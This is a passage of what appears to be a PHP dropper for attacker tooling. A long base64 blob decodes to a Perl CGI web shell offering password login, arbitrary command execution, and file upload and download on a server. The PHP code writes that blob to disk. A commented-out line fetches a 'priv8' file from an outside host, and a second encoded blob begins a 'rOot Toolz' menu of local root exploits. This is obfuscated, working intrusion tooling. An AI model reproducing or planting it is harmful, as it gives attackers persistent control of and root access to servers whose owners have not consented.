dXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0Cjxp 
bnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVu 
dGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJp 
bnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMK 
Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCSRQcm9t 
cHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3Vy 
cmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9 
IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFt 
ZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIg 
dmFsdWU9ImRvd25sb2FkIj4KJFByb21wdCBkb3dubG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5w 
dXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5w 
dXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMt 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0 
aGUgdXNlciB0byB1cGxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRG 
aWxlVXBsb2FkRm9ybQp7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlth 
ZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCXByaW50IDw8RU5EOwo8Y29kZT4K 
PGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NU 
IiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5h 
bWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KT3B0aW9u 
czogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiB2YWx1ZT0ib3ZlcndyaXRl 
Ij4KT3ZlcndyaXRlIGlmIGl0IEV4aXN0czxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJz 
cDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVu 
IiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1l 
PSJhIiB2YWx1ZT0idXBsb2FkIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3Ig 
YSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1l 
ZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2 
ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDAp 
OwoJCXByaW50IDw8RU5EOwo8L3htcD4KPGNvZGU+CkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0 
aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS4KPGJyPktpbGxlZCBpdCEK 
PGNvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290 
ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24g 
aXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2Yg 
dGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFu 
ZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHku 
IEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJu 
YWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhl 
Y3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5v 
dCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5v 
dCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5k 
CnsKCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2Ug 
ZGlyIGNvbW1hbmQKCXsKCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRo 
ZSBvdXRwdXQgb2YgdGhlCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuCgoJCSRPbGREaXIg 
PSAkQ3VycmVudERpcjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAu 
ImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGAp 
OwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ 
ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQ 
cm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+IjsKCX0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQs 
IGRpc3BsYXkgdGhlIG91dHB1dAoJewoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0 
ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJl 
bnREaXJdXCQgIjsKCQlwcmludCAiPGNvZGU+JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT48eG1w 
PiI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5k 
LiRSZWRpcmVjdG9yOwoJCWlmKCEkV2luTlQpCgkJewoJCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1h 
bmRUaW1lb3V0OwoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7CgkJfQoJCWlmKCRT 
aG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCQl7CgkJ 
CSR8PTE7CgkJCSRDb21tYW5kIC49ICIgfCI7CgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1h 
bmQpOwoJCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJCXsKCQkJCSRfID1+IHMvKFxufFxyXG4p 
JC8vOwoJCQkJcHJpbnQgIiRfXG4iOwoJCQl9CgkJCSR8PTA7CgkJfQoJCWVsc2UgIyBzaG93IG91 
dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJCXsKCQkJcHJpbnQgYCRDb21tYW5kYDsKCQl9 
CgkJaWYoISRXaW5OVCkKCQl7CgkJCWFsYXJtKDApOwoJCX0KCQlwcmludCAiPC94bXA+IjsKCX0K 
CSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBj 
b250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyCiMgdG8gZG93bmxvYWQgdGhlIHNw 
ZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoCiMgZmVh 
dHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4KIyBBcmd1bWVudCAx 
OiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoj 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UKewoJbG9jYWwo 
JEZpbGVVcmwpID0gQF87CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsK 
CQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2Vy 
CgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJ 
CSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZv 
PWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBD 
T05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMi 
KTsKCQlwcmludCA8PEVORDsKPGNvZGU+ClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJy 
PgpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwKPGEgaHJlZj0i 
JERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4uCjwvY29kZT4KRU5ECgkJJlByaW50Q29tbWFu 
ZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBmaWxlIGRvZXNu 
J3QgZXhpc3QKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxl 
ZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCE8L2NvZGU+IjsKCQkmUHJpbnRGaWxlRG93bmxvYWRG 
b3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBU 
aGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBz 
ZW5kcyBpdCB0byB0aGUKIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5 
IHRoZSB1c2VyLgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUg 
ZmlsZSB0byBiZSBzZW50LgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBTZW5kRmlsZVRvQnJv 
d3Nlcgp7Cglsb2NhbCgkU2VuZEZpbGUpID0gQF87CglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZp 
bGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJYmlu 
bW9kZShTRU5ERklMRSk7CgkJCWJpbm1vZGUoU1RET1VUKTsKCQl9CgkJJEZpbGVTaXplID0gKHN0 
YXQoJFNlbmRGaWxlKSlbN107CgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15c 
XF0qKSQhOwoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsK 
CQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsKCQlwcmludCAiQ29udGVudC1E 
aXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsKCQlwcmludCB3aGlsZSg8 
U0VOREZJTEU+KTsKCQljbG9zZShTRU5ERklMRSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4g 
ZmlsZQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlwcmludCAiPGNvZGU+RmFpbGVkIHRv 
IGRvd25sb2FkICRTZW5kRmlsZTogJCE8L2NvZGU+IjsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3Jt 
OwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhp 
cyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBk 
aXNwbGF5cyBhIG1lc3NhZ2UKIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91 
Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMgVGhpcyBmdW5jdGlvbiBpcyBh 
bHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2Fz 
ZSwKIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLgojLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tCnN1YiBCZWdpbkRvd25sb2FkCnsKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBw 
YXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVy 
RmlsZSA9fiBtL15cXHxeLjovKSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9e 
XC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmls 
ZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYo 
JFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAu 
PSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2Ug 
aGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxl 
KTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJJlBy 
aW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVw 
bG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMg 
YSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBp 
dCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBV 
cGxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQg 
Zm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQkmUHJpbnRQYWdlSGVhZGVy 
KCJmIik7CgkJJlByaW50RmlsZVVwbG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlyZXR1 
cm47Cgl9CgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHBy 
b2Nlc3MKCXByaW50ICI8Y29kZT5VcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERp 
ci4uLjxicj4iOwoKCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBm 
aWxlIHRvIGJlIGNyZWF0ZWQKCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRD 
dXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikk 
ITsKCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOwoKCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0 
aCgkaW57J2ZpbGVkYXRhJ30pOwoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qg 
c3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0CglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBu 
ZSAib3ZlcndyaXRlIikKCXsKCQlwcmludCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVh 
ZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihv 
cGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklM 
RSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xv 
c2UoVVBMT0FERklMRSk7CgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRl 
cy48YnI+IjsKCQkJcHJpbnQgIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsKCQl9CgkJZWxz 
ZQoJCXsKCQkJcHJpbnQgIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CglwcmludCAiPC9jb2RlPiI7 
CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2Vy 
IHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNp 
ZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQoj 
IGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHBy 
b3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVk 
LgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxl 
IGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2Zl 
ckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVEb3du 
bG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlyZXR1cm47Cgl9CgoJIyBnZXQgZnVsbHkg 
cXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAm 
ICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVy 
RmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAk 
VHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJn 
ZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRU 
YXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEg 
ImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIo 
JFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBh 
Z2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQoj 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t 
LS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExv 
Y2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJf 
TkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9 
OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CgokQWN0aW9u 
ID0gJGlueydhJ307CiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFj 
dGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0CgojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNo 
IHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkCiRDdXJyZW50RGlyID0gJGlueydkJ307CmNo 
b3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dn 
ZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEg 
ImxvZ2luIiB8fCAhJExvZ2dlZEluKSAjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJm 
b3JtTG9naW47Cn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBy 
dW4gYSBjb21tYW5kCnsKCSZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxv 
YWQiKSAjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmVXBsb2FkRmlsZTsKfQplbHNp 
ZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUK 
ewoJJkRvd25sb2FkRmlsZTsKfQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2Fu 
dHMgdG8gbG9nb3V0CnsKCSZQZXJmb3JtTG9nb3V0Owp9CgoK'); 
$write = fwrite ($file ,$sa); 
 
/* 
$file = fopen($dir."jeentel" ,"w+"); 
$sa=file_get_contents('http://hotmoail.comyr.com/priv8/jeentel'); 
$write = fwrite ($file ,$sa); 
*/ 
 
$file = fopen($dir."1.txt" ,"w+"); 
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsIC13CgppZihAQVJHViA8IDEpeyAKcHJpbnQgcSAgICggCiAKIz09PT09PT09PT09PT1bIHJPb3QgVG9vbHogXT09PT09PT09PT09PT0jIAp8IHVpZD0wKHJvb3QpIGdpZD0wKHJvb3QpIGdyb3Vwcz0wKHJvb3QpIHwKfCAgICAgICAgICAgIEdldHxyT290IHYxLjAgICAgICAgICAgICAgICB8CnwgICAgICAgIFVzZSA6IHBlcmwgcm8wdGdldC5wbCAtMSAgICAgICAgfAp8IFRITksgMiA6IFNhckJvVDUxMSBTYWRIYWNLZXIgU2lMdmVyLjQ3IHwgCnwgaS1IbXggVGhlIGluamVjdG9yIFoxZCBOby1RclFyIEZveCBIYUMgfCAKIz09PT09PT09PT09PT1bIExvY2FsIHJvb3QgXT09PT09PT09PT09PT0jCnwgTG9jYWwgcm9vdCAyMDEwIEZyZWVCc0QgICAgICAgICAgIC03IHwgICAgICAgICAgICAgCnwgTG9jYWwgcm9vdCBhTEwgIEV4cGxvaXQgICAgICAgICAgIC04IHwgICAgICAgICAKfCBMb2NhbCBSb290IFByaXZpbGV